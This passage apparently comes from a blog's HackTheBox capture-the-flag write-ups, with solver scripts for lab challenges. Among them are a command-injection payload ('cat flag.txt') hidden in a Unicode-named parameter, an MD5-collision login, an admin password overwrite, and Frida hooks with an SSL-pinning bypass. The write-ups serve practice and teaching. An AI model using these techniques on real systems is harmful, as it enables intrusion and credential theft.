location of the lost vault is only known to be held on what remains of the NSA\u0026rsquo;s data centres. You have extracted the source code of a system check-up endpoint - can you find a way in? And was Kamara-Heto ever there?\nExploitation #!/usr/bin/env python3 from requests import post import sys if len(sys.argv) \u0026lt; 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) URL = f\u0026#39;http://{sys.argv[1]}/server_status\u0026#39; params = { \u0026#39;choice\u0026#39;: 6, \u0026#39;\\u3164\u0026#39;: \u0026#39;cat flag.txt\u0026#39; } r = post(URL, data=params) print(r.text) Summary Hidden Path: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hidden-Path-Challenge/","protected":null,"snippet":"Hidden Path: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Hidden Path Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/266\nDescription This insane scientist wants to craft the most powerful android in the world! Help him collect many 🔩 to achieve his goal. Also, he needs many 💎 to make it even more strong and powerful than any other android. Good luck adventurer!\nExploitation https://en.wikipedia.org/wiki/Breadth-first_search\n#!/usr/bin/env python3 import socket, sys import queue as q def bfs(level): start = None for i in range(len(level)): for j in range(len(level[i])): if level[i][j] == \u0026#39;🤖\u0026#39;: start = (i, j) print(f\u0026#39;[+] 🤖 is at {start}\u0026#39;) if start is None: print(\u0026#39;[!] Could not find 🤖...\u0026#39;) exit(1) explored = set() queue = q.Queue() queue.put((start[0], start[1], None, None)) explored.add(start) while not queue.empty(): field = queue.get() if level[field[0]][field[1]] == \u0026#39;💎\u0026#39;: path = \u0026#39;\u0026#39; while field[3] is not None: path += field[3] field = field[2] return path[::-1] else: left = (field[0], field[1] - 1) if left[1] \u0026gt;= 0 and left not in explored and level[left[0]][left[1]] != \u0026#39;x\u0026#39;: explored.add(left) queue.put((left[0], left[1], field, \u0026#39;L\u0026#39;)) right = (field[0], field[1] + 1) if right[1] \u0026lt; len(level[field[0]]) and right not in explored and level[right[0]][right[1]] != \u0026#39;x\u0026#39;: explored.add(right) queue.put((right[0], right[1], field, \u0026#39;R\u0026#39;)) down = (field[0] + 1, field[1]) if down[0] \u0026lt; len(level) and down not in explored and level[down[0]][down[1]] != \u0026#39;x\u0026#39;: explored.add(down) queue.put((down[0], down[1], field, \u0026#39;D\u0026#39;)) print(\u0026#39;[!] Could not find path\u0026#39;) exit(1) def solve_level(s): level = b\u0026#39;\u0026#39; while b\u0026#39;\u0026gt;\u0026#39; not in level: level += s.recv(1024) level = level.replace(b\u0026#39;\\xe2\\x98\\xa0\\xef\\xb8\\x8f\u0026#39;, \u0026#39;x\u0026#39;.encode()) level = level.decode() level = level.replace(\u0026#39;\u0026gt;\u0026#39;, \u0026#39;\u0026#39;) level = level.strip() lines = [line for line in level.split(\u0026#39;\\n\u0026#39;) if line] rows = [] for line in lines: print(line) if line.startswith(\u0026#39;🔥🔥\u0026#39;): pass elif line.startswith(\u0026#39;🔥\u0026#39;): rows.append(line.replace(\u0026#39;🔥\u0026#39;, \u0026#39;\u0026#39;).replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;)) else: pass path = bfs(rows) return path def main(): if len(sys.argv) != 2 or \u0026#39;:\u0026#39; not in sys.argv[1]: exit(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, int(port))) menu = s.recv(1024) s.sendall(\u0026#39;2\\n\u0026#39;.encode()) for _ in range(500): path = solve_level(s) print(f\u0026#39;[+] Path: {path}\u0026#39;) s.sendall((path + \u0026#39;\\n\u0026#39;).encode()) print(s.recv(4096).decode(), end=\u0026#39;\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Insane Bolt: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Insane-Bolt-Challenge/","protected":null,"snippet":"Insane Bolt: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Insane Bolt Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/671\nDescription Far off in the distance, you hear a howl. Your blood runs cold as you realise the Kara\u0026rsquo;ka-ran have been released - vicious animals tortured beyond all recognition, starved to provide a natural savagery. They will chase you until the ends of the earth; your only chance of survival lies in a fight. Strong but not stupid, they will back off if they see you take down some of their number - briefly, anyway\u0026hellip;\nExploitation #!/usr/bin/env python3 from collections import deque from pwn import log, sys import requests import math import ast if len(sys.argv) != 2 or \u0026#39;:\u0026#39; not in sys.argv[1]: exit(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) URL = f\u0026#39;http://{sys.argv[1]}\u0026#39; terrain_costs = { \u0026#39;PM\u0026#39;: 5, \u0026#39;MP\u0026#39;: 2, \u0026#39;PS\u0026#39;: 2, \u0026#39;SP\u0026#39;: 2, \u0026#39;PR\u0026#39;: 5, \u0026#39;RP\u0026#39;: 5, \u0026#39;MS\u0026#39;: 5, \u0026#39;SM\u0026#39;: 7, \u0026#39;MR\u0026#39;: 8, \u0026#39;RM\u0026#39;: 10, \u0026#39;SR\u0026#39;: 8, \u0026#39;RS\u0026#39;: 6, \u0026#39;PP\u0026#39;: 1, \u0026#39;MM\u0026#39;: 1, \u0026#39;SS\u0026#39;: 1, \u0026#39;RR\u0026#39;: 1, \u0026#39;CC\u0026#39;: 1, \u0026#39;GG\u0026#39;: 1, \u0026#39;PC\u0026#39;: 1, \u0026#39;CP\u0026#39;: 1, \u0026#39;MC\u0026#39;: 1, \u0026#39;CM\u0026#39;: 1, \u0026#39;SC\u0026#39;: 1, \u0026#39;CS\u0026#39;: 1, \u0026#39;RC\u0026#39;: 1, \u0026#39;CR\u0026#39;: 1, \u0026#39;GC\u0026#39;: 1, \u0026#39;CG\u0026#39;: 1, \u0026#39;PG\u0026#39;: 1, \u0026#39;GP\u0026#39;: 1, \u0026#39;MG\u0026#39;: 1, \u0026#39;GM\u0026#39;: 1, \u0026#39;SG\u0026#39;: 1, \u0026#39;GS\u0026#39;: 1, \u0026#39;RG\u0026#39;: 1, \u0026#39;GR\u0026#39;: 1, } DIRECTIONS = {-1: \u0026#39;L\u0026#39;, 1: \u0026#39;R\u0026#39;, -1j: \u0026#39;U\u0026#39;, 1j: \u0026#39;D\u0026#39;} def get_map(): map_data = requests.post(f\u0026#39;{URL}/map\u0026#39;).json() time = map_data.get(\u0026#39;player\u0026#39;).get(\u0026#39;time\u0026#39;) orig_coords = tuple(map_data.get(\u0026#39;player\u0026#39;).get(\u0026#39;position\u0026#39;)) orig = orig_coords[0] + 1j * orig_coords[1] weapons = set() map_tiles = {} for coord, tile_data in map_data.get(\u0026#39;tiles\u0026#39;).items(): if tile_data.get(\u0026#39;has_weapon\u0026#39;): dest_coords = ast.literal_eval(coord) weapons.add(dest_coords[0] + 1j * dest_coords[1]) x, y = ast.literal_eval(coord) map_tiles[x + 1j * y] = tile_data.get(\u0026#39;terrain\u0026#39;) return map_tiles, orig, weapons, time def update(direction): return requests.post(f\u0026#39;{URL}/update\u0026#39;, json={\u0026#39;direction\u0026#39;: direction}).json() def regenerate(): requests.get(f\u0026#39;{URL}/regenerate\u0026#39;) def bfs(root, map_tiles): queue = deque([root]) visited_states = {(root, time)} while len(queue): pos, time_left, path = queue.popleft() if time_left \u0026lt; 0: continue if (current_tile := map_tiles.get(pos)) is None: continue next_pos = [pos - 1, pos + 1, pos - 1j, pos + 1j] for n in next_pos: tile = map_tiles.get(n, \u0026#39;E\u0026#39;) if tile == \u0026#39;E\u0026#39;: continue if tile == \u0026#39;G\u0026#39; and n - pos in {1, 1j}: continue if tile == \u0026#39;C\u0026#39; and n - pos in {-1, -1j}: continue new_time = time_left - terrain_costs.get(current_tile + tile, math.inf) if new_time \u0026gt;= 0: if n in weapons: return path + (n, ), time_left if (n, new_time) not in visited_states: queue.append((n, new_time, path + (n, ))) visited_states.add((n, new_time)) return (), 0 regenerate() rounds = 1 round_prog = log.progress(\u0026#39;Round\u0026#39;) while rounds \u0026lt;= 100: map_tiles, orig, weapons, time = get_map() root = (orig, time, (orig, )) path, time_left = bfs(root, map_tiles) round_prog.status(f\u0026#39;{rounds} / 100\u0026#39;) if not path and not time_left: regenerate() round_prog.failure(\u0026#39;No path found\u0026#39;) round_prog = log.progress(\u0026#39;Round\u0026#39;) rounds = 1 continue path_tiles = list(map(map_tiles.get, path)) prev = orig for coord in path[1:]: direction = DIRECTIONS.get(coord - prev, \u0026#39;?\u0026#39;) data = update(direction) prev = coord if data.get(\u0026#39;error\u0026#39;): round_prog.failure(data) round_prog = log.progress(\u0026#39;Round\u0026#39;) rounds = 1 break if (flag := data.get(\u0026#39;flag\u0026#39;)): log.success(f\u0026#39;Flag: {flag}\u0026#39;) round_prog.success(\u0026#39;100 / 100\u0026#39;) else: rounds += 1 Summary Path of Survival: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Path-of-Survival-Challenge/","protected":null,"snippet":"Path of Survival: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Path of Survival Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/119\nDescription Let\u0026rsquo;s see if you\u0026rsquo;re a QuickR soldier as you pretend to be\nExploitation #!/usr/bin/env python3 from pyzbar.wrapper import ZBarSymbol from pyzbar.pyzbar import decode from pwn import remote from PIL import Image import struct, sys def parse_ip_port(arg): return arg.split(\u0026#39;:\u0026#39;)[0], int(arg.split(\u0026#39;:\u0026#39;)[1]) if __name__ == \u0026#39;__main__\u0026#39;: if len(sys.argv) != 2: sys.exit(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) ip, port = parse_ip_port(sys.argv[1]) io = remote(ip, port) input_str = io.recvuntil(b\u0026#39;string:\u0026#39;).decode(\u0026#39;utf-8\u0026#39;) qr_code = input_str[548:] qr_code_binary = qr_code.replace(\u0026#39; \u0026#39;, \u0026#39;\u0026#39;) qr_code_binary = qr_code_binary.replace(\u0026#39;\\x1B[7m\u0026#39;, \u0026#39;1,\u0026#39;).replace(\u0026#39;\\x1B[0m\u0026#39;, \u0026#39;\u0026#39;) qr_code_binary = qr_code_binary.replace(\u0026#39;\\x1B[41m\u0026#39;, \u0026#39;0,\u0026#39;) qr_code_binary = qr_code_binary[0:qr_code_binary.index(\u0026#39;\\t\\n\u0026#39;)].replace(\u0026#39;\\t\u0026#39;, \u0026#39;\u0026#39;) qr_code_binary = qr_code_binary + (\u0026#39;0,\u0026#39; * 51) + \u0026#39;\\n\u0026#39; qr_code_binary = qr_code_binary[:-2] visual = qr_code_binary.replace(\u0026#39;,\u0026#39;, \u0026#39;\u0026#39;).replace(\u0026#39;0\u0026#39;, \u0026#39;\\x1b[30;47m██\\x1b[0m\u0026#39;).replace(\u0026#39;1\u0026#39;, \u0026#39;\\x1b[37;40m██\\x1b[0m\u0026#39;) print(visual) rows = qr_code_binary.count(\u0026#39;\\n\u0026#39;) qr_code_binary_arr = qr_code_binary.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;).split(\u0026#39;,\u0026#39;) size = 51, rows arr_size = len(qr_code_binary_arr) data = struct.pack(\u0026#39;B\u0026#39; * arr_size, *[int(pixel) * 255 for pixel in qr_code_binary_arr]) img = Image.frombytes(\u0026#39;L\u0026#39;, size, data) img.save(\u0026#39;img.png\u0026#39;) img.close() im = Image.open(\u0026#34;img.png\u0026#34;) qr_out = decode(im, symbols=[ZBarSymbol.QRCODE]) if qr_out: qr_data = qr_out[0].data.decode(\u0026#34;utf-8\u0026#34;).replace(\u0026#39;=\u0026#39;, \u0026#39;\u0026#39;).replace(\u0026#39;x\u0026#39;, \u0026#39;*\u0026#39;) print(f\u0026#34;QR Data: {qr_data}\u0026#34;) qr_result = str(eval(qr_data)).encode(\u0026#39;utf-8\u0026#39;) print(f\u0026#34;QR Result: {qr_result.decode(\u0026#39;utf-8\u0026#39;)}\u0026#34;) io.sendline(qr_result) else: print(\u0026#34;No QR code found in the image.\u0026#34;) response = io.recvall().replace(b\u0026#34; \\x1b[1m\\x1b[92m\u0026#34;,b\u0026#34;\\x1b[1m\\x1b[92m\u0026#34;).decode(\u0026#39;utf-8\u0026#39;) print(response) Summary QuickR: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-QuickR-Challenge/","protected":null,"snippet":"QuickR: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox QuickR Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/429\nDescription Type whatever type you want to type - except you must be careful not to type the type of type that\u0026rsquo;s not allowed!\nExploitation #!/usr/bin/env python3 from collections import defaultdict import socket, string, time, sys from enum import Enum class Answer(Enum): NO = 0 YES = 1 ERROR = 2 if_construction = \u0026#34;(1)if({check})else(None)\u0026#34; def parse_ip_port(arg): return arg.split(\u0026#39;:\u0026#39;)[0], int(arg.split(\u0026#39;:\u0026#39;)[1]) def netcat(content) -\u0026gt; Answer: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ip, port = parse_ip_port(sys.argv[1]) s.connect((ip, int(port))) s.sendall(content) s.shutdown(socket.SHUT_WR) answer = None while True: data = s.recv(1024) if len(data) == 0: break if b\u0026#34;\u0026lt;class \u0026#39;NoneType\u0026#39;\u0026gt;\u0026#34; in data: answer = Answer.NO if b\u0026#34;\u0026lt;class \u0026#39;int\u0026#39;\u0026gt;\u0026#34; in data: answer = Answer.YES if b\u0026#34;Error\u0026#34; in data: answer = Answer.ERROR s.close() return answer def find_first_index(character, occupied): print(\u0026#34;Finding first index: \u0026#34;, end=\u0026#34;\u0026#34;) for index in range(100): if index in occupied: continue print(\u0026#34;.\u0026#34;, end=\u0026#34;\u0026#34;) first_index_check = if_construction.format(check=f\u0026#34;flag.encode().index({character})is({index})\u0026#34;).encode() result = netcat(first_index_check) if result == Answer.YES: print(f\u0026#34; {index}\u0026#34;) return index if result == Answer.ERROR: print(\u0026#34;Not used\u0026#34;) return None return None def find_last_index(character, start, occupied): print(\u0026#34;Finding last index \u0026#34;, end=\u0026#34;\u0026#34;) for index in range(100): if index \u0026lt;= start: continue if index in occupied: continue print(\u0026#34;.\u0026#34;, end=\u0026#34;\u0026#34;) last_index_check = if_construction.format(check=f\u0026#34;flag.encode().rindex({character})is({index})\u0026#34;).encode() result = netcat(last_index_check) if result == Answer.YES: print(f\u0026#34; {index}\u0026#34;) return index return None def find_in_between(character: str, first_index: int, last_index: int, count: int, occupied: list[int]) -\u0026gt; list[int]: print(f\u0026#39;Searching for {count - 2} indexes between {first_index} and {last_index}: \u0026#39;, end=\u0026#34;\u0026#34;) if (last_index - first_index + 1) == count: found_indexes = list(range(first_index + 1, last_index)) print(\u0026#34;, \u0026#34;.join(map(str, found_indexes))) return found_indexes list_class = \u0026#34;type(flag.split())\u0026#34; flag_generator = \u0026#34;((i)for(i)in(flag.encode()))\u0026#34; flag_list = f\u0026#34;{list_class}({flag_generator})\u0026#34; found_indexes = [] for char_index in range(first_index + 1, last_index): if char_index in occupied: continue if len(found_indexes) + 2 == count: continue print(\u0026#34;.\u0026#34;, end=\u0026#34;\u0026#34;) check_index = if_construction.format(check=f\u0026#34;{flag_list}.pop({char_index})is({character})\u0026#34;).encode() result = netcat(check_index) if result == Answer.YES: print(f\u0026#34; {char_index}\u0026#34;, end=\u0026#34;\u0026#34;) found_indexes.append(char_index) print() return found_indexes def find_count(character): print(\u0026#34;Finding count \u0026#34;, end=\u0026#34;\u0026#34;) for count in range(1, 20): print(\u0026#34;.\u0026#34;, end=\u0026#34;\u0026#34;) check_count = if_construction.format(check=f\u0026#34;flag.encode().count({character})is({count})\u0026#34;).encode() result = netcat(check_count) if result == Answer.YES: print(f\u0026#34; {count}\u0026#34;) return count return None if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: sys.exit(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) start_time = time.time() occupied_indexes = [] found_chars = defaultdict(dict) for char_str in string.printable: char_hex = hex(ord(char_str)) print(f\u0026#34;Checking \u0026lt;{char_str} {char_hex}\u0026gt;\u0026#34;) first_index = find_first_index(char_hex, occupied_indexes) if first_index is None: continue found_chars[char_str][\u0026#34;indexes\u0026#34;] = [first_index] occupied_indexes.append(first_index) count = find_count(char_hex) found_chars[char_str][\u0026#34;count\u0026#34;] = count if count \u0026gt; 1: last_index = find_last_index(char_hex, first_index, occupied_indexes) found_chars[char_str][\u0026#34;indexes\u0026#34;].append(last_index) occupied_indexes.append(last_index) if count \u0026gt; 2: indexes = find_in_between(char_hex, first_index, last_index, count, occupied_indexes) found_chars[char_str][\u0026#34;indexes\u0026#34;] += indexes found_chars[char_str][\u0026#34;indexes\u0026#34;].sort() occupied_indexes += indexes indexes = [] for char_str, char_data in found_chars.items(): for index in char_data[\u0026#34;indexes\u0026#34;]: indexes.append((index, char_str)) indexes.sort(key=lambda data: data[0]) flag = \u0026#34;\u0026#34;.join(char_str for _, char_str in indexes) print(flag) print(f\u0026#34;Finished in {round(time.time() - start_time)} sec.\u0026#34;) Summary Type Exception: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Type-Exception-Challenge/","protected":null,"snippet":"Type Exception: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Type Exception Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/851\nDescription The Frontier Board\u0026rsquo;s grip on the stars relies on a digital relic thought to be flawless. But in the depths of the void, anomalies can ripple through even the most secure systems. Do you have what it takes to expose the cracks in their so-called perfection?\nExploitation https://x.com/realhashbreaker/status/1770161965006008570\nfrom pwn import * import json io = None usr_1 = \u0026#39;TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak\u0026#39; usr_2 = \u0026#39;TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak\u0026#39; def get_flag(): io.sendlineafter(b\u0026#39; :: \u0026#39;, json.dumps({\u0026#39;option\u0026#39;: \u0026#39;register\u0026#39;}).encode()) io.sendlineafter(b\u0026#39; :: \u0026#39;, json.dumps({\u0026#39;username\u0026#39;: usr_1, \u0026#39;password\u0026#39;: \u0026#39;password\u0026#39;}).encode()) io.sendlineafter(b\u0026#39; :: \u0026#39;, json.dumps({\u0026#39;option\u0026#39;: \u0026#39;register\u0026#39;}).encode()) io.sendlineafter(b\u0026#39; :: \u0026#39;, json.dumps({\u0026#39;username\u0026#39;: usr_2, \u0026#39;password\u0026#39;: \u0026#39;password\u0026#39;}).encode()) io.sendlineafter(b\u0026#39; :: \u0026#39;, json.dumps({\u0026#39;option\u0026#39;: \u0026#39;login\u0026#39;}).encode()) io.sendlineafter(b\u0026#39; :: \u0026#39;, json.dumps({\u0026#39;username\u0026#39;: usr_2, \u0026#39;password\u0026#39;: \u0026#39;password\u0026#39;}).encode()) return io.recvline().decode().strip().split(\u0026#39; :: \u0026#39;)[-1] def pwn(): flag = get_flag() print(flag) if __name__ == \u0026#39;__main__\u0026#39;: if args.REMOTE: host_port = sys.argv[1].split(\u0026#39;:\u0026#39;) HOST = host_port[0] PORT = host_port[1] io = remote(HOST, PORT, level=\u0026#39;error\u0026#39;) else: import os os.chdir(\u0026#39;../challenge\u0026#39;) io = process([\u0026#39;python3\u0026#39;, \u0026#39;server.py\u0026#39;], level=\u0026#39;error\u0026#39;) pwn() Summary alphascii clashing: reduce the hash constraint to a small search, test candidates, and recover the flag.\n","date":"2025-02-13T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-alphascii-clashing-Challenge/","protected":null,"snippet":"alphascii clashing: reduce the hash constraint to a small search, test candidates, and recover the flag.","tags":["htb","crypto","hash"],"title":"HackTheBox alphascii clashing Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/285\nDescription Can you get the ticket without the VIP code?\nExploitation Use jadx-gui to decompile and look at the code.\napktool d \u0026lt;apk\u0026gt; import hashlib from base64 import b64decode from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def md5_hash(text): md5 = hashlib.md5() md5.update(text.encode()) return \u0026#39;\u0026#39;.join(hex(x)[2:] for x in md5.digest()) def decrypt_aes(encrypted_str): key = b\u0026#39;Dgu8Trf6Ge4Ki9Lb\u0026#39; encrypted_bytes = b64decode(encrypted_str) cipher = AES.new(key, AES.MODE_ECB) decrypted = unpad(cipher.decrypt(encrypted_bytes), AES.block_size) return decrypted.decode(\u0026#39;utf-8\u0026#39;) def main(): target_hash = \u0026#34;735c3628699822c4c1c09219f317a8e9\u0026#34; encrypted = \u0026#34;k+RLD5J86JRYnluaZLF3Zs/yJrVdVfGo1CQy5k0+tCZDJZTozBWPn2lExQYDHH1l\u0026#34; print(\u0026#34;Decrypting AES string...\u0026#34;) try: decrypted = decrypt_aes(encrypted) print(f\u0026#34;Decrypted string: {decrypted}\u0026#34;) except Exception as e: print(f\u0026#34;Error decrypting: {e}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary APKrypt: inspect the Android app, trace the validation path, and recover the flag.\n","date":"2025-02-13T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-APKrypt-Challenge/","protected":null,"snippet":"APKrypt: inspect the Android app, trace the validation path, and recover the flag.","tags":["htb","mobile","android"],"title":"HackTheBox APKrypt Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/255\nDescription Some web developers wrote this fancy new app! It\u0026rsquo;s really cool, isn\u0026rsquo;t it?\nExploitation apktool d app-release.apk rg \u0026#34;$(echo -n \u0026#34;HTB\u0026#34; | base64)\u0026#34; echo \u0026#39;SFRCezIzbTQxbl9jNDFtXzRuZF9kMG43XzB2MzIyMzRjN30=\u0026#39; | base64 -d Summary Don\u0026rsquo;t Overreact: inspect the Android app, trace the validation path, and recover the flag.\n","date":"2025-02-13T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Dont-Overreact-Challenge/","protected":null,"snippet":"Don't Overreact: inspect the Android app, trace the validation path, and recover the flag.","tags":["htb","mobile","android"],"title":"HackTheBox Don't Overreact Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/283\nDescription A client asked me to perform security assessment on this password management application. Can you help me?\nExploitation Use jadx-gui to decompile and look at the code.\nimport requests from urllib.parse import urljoin import sys class ManagerApp: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() def login(self, username, password): url = urljoin(self.base_url, \u0026#34;login.php\u0026#34;) data = { \u0026#34;username\u0026#34;: username, \u0026#34;password\u0026#34;: password } try: response = self.session.post(url, data=data) response.raise_for_status() print(f\u0026#34;Login response: {response.text}\u0026#34;) return response.text except requests.exceptions.RequestException as e: print(f\u0026#34;Failed to log in: {e}\u0026#34;) return None def register(self, username, password): url = urljoin(self.base_url, \u0026#34;register.php\u0026#34;) data = { \u0026#34;username\u0026#34;: username, \u0026#34;password\u0026#34;: password } try: response = self.session.post(url, data=data) response.raise_for_status() print(f\u0026#34;Register response: {response.text}\u0026#34;) return response.json() except requests.exceptions.RequestException as e: print(f\u0026#34;Failed to register: {e}\u0026#34;) return None def update_password(self, username, new_password): url = urljoin(self.base_url, \u0026#34;manage.php\u0026#34;) data = { \u0026#34;username\u0026#34;: username, \u0026#34;password\u0026#34;: new_password } try: response = self.session.post(url, data=data) response.raise_for_status() print(f\u0026#34;Password update response: {response.text}\u0026#34;) return response.text except requests.exceptions.RequestException as e: print(f\u0026#34;Failed to update password: {e}\u0026#34;) return None def get_user_info(self, user_id): url = urljoin(self.base_url, \u0026#34;manage.php\u0026#34;) params = { \u0026#34;id\u0026#34;: user_id } try: response = self.session.get(url, params=params) response.raise_for_status() print(f\u0026#34;User Info: {response.text}\u0026#34;) return response.json() except requests.exceptions.RequestException as e: print(f\u0026#34;Failed to fetch user info: {e}\u0026#34;) return None if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) base_url = f\u0026#34;http://{sys.argv[1]}/\u0026#34; manager = ManagerApp(base_url) manager.update_password(\u0026#34;admin\u0026#34;, \u0026#34;admin\u0026#34;) login_response = manager.login(\u0026#34;admin\u0026#34;, \u0026#34;admin\u0026#34;) if login_response: user_info = login_response print(f\u0026#34;User registered successfully: {user_info}\u0026#34;) else: print(\u0026#34;Registration failed.\u0026#34;) Summary Manager: inspect the Android app, trace the validation path, and recover the flag.\n","date":"2025-02-13T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Manager-Challenge/","protected":null,"snippet":"Manager: inspect the Android app, trace the validation path, and recover the flag.","tags":["htb","mobile","android"],"title":"HackTheBox Manager Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/282\nDescription This app has stored my credentials and I can only login automatically. I tried to intercept the login request and restore my password, but this seems to be a secure connection. Can you help bypass this security restriction and intercept the password in plaintext?\nExploitation Use jadx-gui to decompile and look at the code.\napktool d \u0026lt;apk\u0026gt; bnavarro 1234567890987654 unzip pinned.apk -d pinned_extracted cd pinned_extracted zipalign -v 4 pinned.apk aligned-pinned.apk adb install aligned-pinned.apk We need to mitm or use frida to read the internal values\nFrida Java.perform(function() { var StringBuilder = Java.use(\u0026#39;java.lang.StringBuilder\u0026#39;); StringBuilder.toString.implementation = function() { const result = this.toString(); console.log(\u0026#39;[+] StringBuilder result:\u0026#39;, result); return result; }; var Base64 = Java.use(\u0026#39;android.util.Base64\u0026#39;); Base64.decode.overload(\u0026#39;java.lang.String\u0026#39;, \u0026#39;int\u0026#39;).implementation = function(str, flags) { console.log(\u0026#39;[+] Base64 string to decode:\u0026#39;, str); return this.decode(str, flags); }; var SecretKeySpec = Java.use(\u0026#39;javax.crypto.spec.SecretKeySpec\u0026#39;); SecretKeySpec.$init.overload(\u0026#39;[B\u0026#39;, \u0026#39;java.lang.String\u0026#39;).implementation = function(key, algorithm) { console.log(\u0026#39;[+] SecretKeySpec created:\u0026#39;); console.log(\u0026#39; Key (string):\u0026#39;, Java.use(\u0026#39;java.lang.String\u0026#39;).$new(key)); console.log(\u0026#39; Algorithm:\u0026#39;, algorithm); return this.$init(key, algorithm); }; var Cipher = Java.use(\u0026#39;javax.crypto.Cipher\u0026#39;); Cipher.getInstance.overload(\u0026#39;java.lang.String\u0026#39;).implementation = function(algorithm) { console.log(\u0026#39;[+] Cipher.getInstance:\u0026#39;, algorithm); return this.getInstance(algorithm); }; console.log(\u0026#39;[*] Hooks installed. Login with bnavarro/1234567890987654\u0026#39;); }); frida -U -f com.example.pinned -l poc.js SSL pinning intended mitm\nUse an andoid-emulator like android-studio.\nadb root adb shell mount -o rw,remount /system echo \u0026#34;10.10.10.112 pinned.com\u0026#34; \u0026gt;\u0026gt; /system/etc/hosts mount -o ro,remount /system cat /system/etc/hosts reboot ip a open burp and in proxy \u0026gt; option \u0026gt; listeners enable bind with \u0026lt;ip\u0026gt;:8090\nin the emulator android set the proxy to \u0026lt;ip\u0026gt;:8090\nPush and Run frida-servers in the emulator\nadb root adb push frida-server-14.2.18-android-x86_64 /data/local/tmp/frida- server adb shell chmod 755 /data/local/tmp/frida-server adb shell /data/local/tmp/frida-server \u0026amp; In burp make the cert in DER format cert-der.crt\nadb push cert-der.crt /data/local/tmp/ https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/\nfrida -U -f com.example.pinned --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida Summary Pinned: hook the mobile app with Frida, bypass the check, and recover the flag.\n","date":"2025-02-13T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Pinned-Challenge/","protected":null,"snippet":"Pinned: hook the mobile app with Frida, bypass the check, and recover the flag.","tags":["htb","mobile","android","frida"],"title":"HackTheBox Pinned Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/398\nDescription My supermarket list is too big and I only have $50. Can you help me get the Discount code?\nExploitation Use jadx-gui to decompile and look at the code.\napktool d \u0026lt;apk\u0026gt; adb install \u0026lt;apk\u0026gt; Frida Java.perform(function () { var myActivity = Java.use(\u0026#34;com.example.supermarket.MainActivity\u0026#34;); Java.choose(\u0026#34;com.example.supermarket.MainActivity\u0026#34;, { onMatch: function (instance) { let JNI = instance.stringFromJNI(); let JNI2 = instance.stringFromJNI2(); let JNI3 = instance.stringFromJNI3(); console.log(\u0026#34;JNI: \u0026#34; + JNI); console.log(\u0026#34;JNI2: \u0026#34; + JNI2); console.log(\u0026#34;JNI3: \u0026#34; + JNI3); }, onComplete: function() { console.log(\u0026#34;Misson Completed.\u0026#34;); } }); }); frida -U -f com.example.supermarket -l poc.js Summary Supermarket: hook the mobile app with Frida, bypass the check, and recover the 